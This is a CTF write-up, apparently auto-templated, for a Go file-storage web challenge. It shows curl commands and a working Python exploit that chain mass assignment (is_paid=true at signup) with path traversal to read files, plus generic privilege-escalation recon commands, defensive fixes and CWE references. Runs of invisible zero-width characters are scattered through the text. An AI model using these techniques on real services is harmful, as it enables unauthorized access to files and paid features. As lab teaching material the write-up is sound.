90 - Самое надежное хранилище (The Most Secure Storage)

Platform: Duckerz CTF | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-01-15 | Status: Solved Techniques: jwt_authentication, mass_assignment_bypass, path_traversal_via_parameter

Summary

Task: Go file storage with JWT authentication. Solution: Mass assignment to set is_paid=true during registration, then path traversal via unsanitized folderName parameter to read flag.txt from root directory.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn

Enumeration highlights

• Event: duckerz | ID: 20260115_duckerz_secure_storage
• Tags: path_traversal, jwt, go, file_storage, mass_assignment, json_injection
• Indicators: json.Unmarshal into struct with sensitive fields, filepath.Join without sanitization, is_paid/premium flag in user struct, folder parameter in URL
• Source: 20260115_duckerz_secure_storage.md

Foothold

Vulnerability / Misconfiguration

1. Jwt_authentication
2. Mass_assignment_bypass
3. Path_traversal_via_parameter

<command>

Exploitation

• See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

1. N/A for challenge-type writeup; see exploitation above.
2. Flag obtained via challenge solve.

<command>

Flags

Key Takeaways / Lessons

• jwt_authentication
• mass_assignment_bypass
• path_traversal_via_parameter
• Tags: path_traversal, jwt, go, file_storage, mass_assignment, json_injection

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Решил переделать надежное хранилище, в самое надежное хранилище. Теперь ваши файлы будут защищены, честно...

(Decided to remake the secure storage into the most secure storage. Now your files will be protected, honestly...)

• URL: http://tasks.duckerz.ru:30067
• Source: https://download.tasks.duckerz.ru/SecureStorage/secure_storage.zip

Analysis

The application is a file storage service written in Go with JWT authentication. Source code analysis revealed two critical vulnerabilities. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability 1: Mass Assignment / JSON Injection

In the signUpRoutePost function, form data is directly deserialized into the User struct:

data := c.FormValue("data")
if err := json.Unmarshal([]byte(data), &user); err != nil {
    return c.String(http.StatusBadRequest, "Invalid data")
}

The User struct contains an IsPaid field that determines access to premium features:

type User struct {
    UserId   int64  `json:"user_id"`
    Username string `json:"username"`
    Password string `json:"password"`
    IsPaid   bool   `json:"is_paid"`
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Problem: The is_paid field can be set during registration, bypassing the payment check.

Vulnerability 2: Path Traversal in folderName Parameter

In the downloadFileFromFolderRouteGet and folderRouteGet functions, the folderName parameter is not sanitized:

// Protection is applied only to the file parameter, but NOT to folderName!
fileSplit := strings.Split(file, "/")
return c.File(filepath.Join(userRootPath, folderName, fileSplit[len(fileSplit)-1]))

Problem: You can use ../ in folderName to escape the user's directory. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Registration with is_paid: true

curl -X POST "http://tasks.duckerz.ru:30067/signup" \
  -d 'data={"username":"hacker","password":"password123","is_paid":true}' \
  -c cookies.txt

This creates a user with premium access and saves the JWT token to cookies.txt.

Step 2: Listing Root Directory via Path Traversal

curl --path-as-is -b cookies.txt "http://tasks.duckerz.ru:30067/folder/../.."

Important: The --path-as-is flag prevents URL normalization in curl, preserving ../ in the request. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The response shows the contents of the application's root directory, including flag.txt.

Step 3: Downloading the Flag

curl --path-as-is -b cookies.txt "http://tasks.duckerz.ru:30067/file/flag.txt/folder/../.."

Exploit (Python)

#!/usr/bin/env python3
"""
Exploit for "Самое надежное хранилище" (The Most Secure Storage)
DUCKERZ CTF - Task 90

Vulnerabilities:
1. Mass Assignment - set is_paid=true during registration
2. Path Traversal - unsanitized folderName parameter
"""

import requests
import random
import string
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

BASE_URL = "http://tasks.duckerz.ru:30067"

def random_username():
    return ''.join(random.choices(string.ascii_lowercase, k=8))

def exploit():
    session = requests.Session()
    
    # Step 1: Register with is_paid=true (Mass Assignment)
    username = random_username()
    payload = {
        "username": username,
        "password": "password123",
        "is_paid": True  # Bypass payment check
    }
    
    print(f"[*] Registering user '{username}' with is_paid=true...")
    resp = session.post(
        f"{BASE_URL}/signup",
        data={"data": str(payload).replace("'", '"').replace("True", "true")}
    )
    
    if "auth" not in session.cookies:
        print("[-] Registration failed")
        return
    
    print("[+] Registration successful, got JWT token")
    
    # Step 2: List root directory via path traversal
    print("[*] Listing root directory...")
    resp = session.get(f"{BASE_URL}/folder/../..")
    print(f"[*] Directory contents: {resp.text[:200]}...")
    
    # Step 3: Download flag.txt
    print("[*] Downloading flag.txt...")
    resp = session.get(f"{BASE_URL}/file/flag.txt/folder/../..")
    
    if "DUCKERZ{" in resp.text:
        print(f"[+] Flag: {resp.text.strip()}")
    else:
        print(f"[-] Response: {resp.text}")
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

if __name__ == "__main__":
    exploit()

Defense

Against Mass Assignment:

// Use a separate struct for registration
type SignUpRequest struct {
    Username string `json:"username"`
    Password string `json:"password"`
    // Do NOT include is_paid!
}

Against Path Traversal:

// Validate ALL path parameters
func sanitizePath(input string) string {
    // Remove all ../ and ./
    cleaned := filepath.Clean(input)
    // Check that path doesn't escape
    if strings.Contains(cleaned, "..") {
        return ""
    }
    return filepath.Base(cleaned)
}

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

References

• CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
• CWE-22: Improper Limitation of a Pathname to a Restricted Directory
• OWASP Mass Assignment ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

</details>

---

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR